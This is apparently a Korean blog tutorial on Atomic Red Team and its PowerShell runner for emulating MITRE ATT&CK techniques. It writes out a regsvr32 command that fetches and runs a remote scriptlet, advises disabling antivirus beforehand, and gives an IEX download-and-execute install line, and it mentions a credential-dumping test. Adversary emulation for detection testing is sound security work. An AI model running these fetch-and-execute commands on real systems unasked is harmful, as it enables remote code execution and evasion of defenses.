작성 기준: 2023년 10월
Atomic Red Team
https://github.com/redcanaryco/atomic-red-team

MITRE ATT&CK 프레임워크의 Technique 기준으로 YAML 형식으로 작성된 공격 테스트 라이브러리


atomics 폴더 안에 MITRE ATT&CK 프레임워크 기준으로 분류한 Technique들에 대한 폴더가 들어있음
각 Technique 폴더에 들어가있는 내용
- YAML 테스트 파일
- 사람이 읽을 수 있는 Markdown 테스트 파일
- `src`
- 소스 파일 종속성을 위한 선택적 디렉터리
- `bin`
- 바이너리 종속성을 위한 선택적 디렉터리
Technique 예시
ex) T1218.001

T1218.001에 대한 markdown 테스트 파일과 YAML 테스트 파일



해당 Technique에 대한 설명
실행 방법
1) 명령어로 실행

환경 별로 테스트 선택 가능
- Linux, macOS, Windows

Tests를 선택하면 ATT&CK Tactics 및 Technique에 대해 Windows에서 테스트 할 수 있는 목록들 확인 가능

T1218.010 - Signed Binary Proxy Execution: Regsvr32 선택

T1218.010 중 테스트 넘버 2에 대한 실행 명령어 확인
Default Value로 제공된 값(파일 이름, 경로 등)을 아래 명령어의 #{url}에 대입하여 명령어를 완성
C:\\Windows\\system32\\regsvr32.exe /s /u /i:<https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct> scrobj.dll
위 명령을 PowerShell 관리자 권한으로 실행하여 입력
(명령어 입력 전 바이러스 및 위협 방지 해제)

명령어를 입력하면 calc.exe(계산기)가 열림
→ 설치 필요 없이 파워쉘 명령으로 테스트 실행 가능
2) invoke-Atomic
https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Invoke-AtomicRedTeam
Installing Invoke AtomicRedTeam
Invoke-AtomicRedTeam is a PowerShell module to execute tests as defined in the [atomics folder](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics) of Red Canary's Atomic Red Te...
github.com
Atomic Red Team의 atomics에 정의된 대로 테스트를 실행하는 PowerShell 모듈 (실행 프레임워크)
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);
Install-AtomicRedTeam -getAtomics
invoke-atomicredteam
Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
현재 PowerShell 창에서 함수를 사용할 수 있도록 Invoke-atomicredteam 모듈 불러오기
invoke-atomictest t1218 -showdetailsbrief

`-showdetailsbrief`: 해당 기술 번호에 대해 사용 가능한 테스트를 나열
Invoke-AtomicTest T1218.010 -TestNumbers 1

선택한 Technique(T1218)의 테스트 번호 1에 대해 실행
→ Default Value를 이용해 명령어를 길게 입력할 필요 없이 원하는 Technique의 번호만 입력하면 쉽게 공격 실행 가능
Dependencies
Test가 성공적으로 실행되기 위해 필요한 소프트웨어, 라이브러리, 스크립트 또는 다른 구성 요소
- 각 Test는 실행하기 위해 필요한 dependency 목록을 가지고 있음
- 사용자가 이러한 dependency를 갖추도록 안내
- 사용자가 테스트 실행 전 갖춰야 할 상태를 나타냄

atomics - test - YAML 파일에서 확인 가능
- Software Dependencies (소프트웨어 의존성)
- 특정 프로그램을 실행하거나 외부 도구를 사용하는 경우, 시스템에 설치 필요
- Data Dependencies (데이터 의존성)
- 특정 파일 또는 디렉토리에 액세스해야 하는 경우, 시스템에 해당 데이터 존재 필요
- Configuration Dependencies (구성 의존성)
- 시스템 또는 네트워크 구성 원활한 설정 필요
- Environment Dependencies (환경 의존성)
- 실행되는 시스템 또는 네트워크 환경 요건 충족 필요
ex) T1003.001 - OS Credential Dump

`description`: "ProcDump" 도구가 특정 디스크 위치에 존재해야 한다는 의존성을 설명
`prereq_command`: 사용자에게 "ProcDump" 도구의 존재 여부를 확인하기 위한 PowerShell 명령어
`get_prereq_command`: PowerShell 명령어를 사용하여 "ProcDump" 도구를 다운로드하고 설치하는 명령어 집합
끝 (●'◡'●)
'보안 > RedTeam' 카테고리의 다른 글
| TTPs / MITRE ATT&CK (0) | 2025.07.30 |
|---|---|
| MITRE Caldera (0) | 2025.03.26 |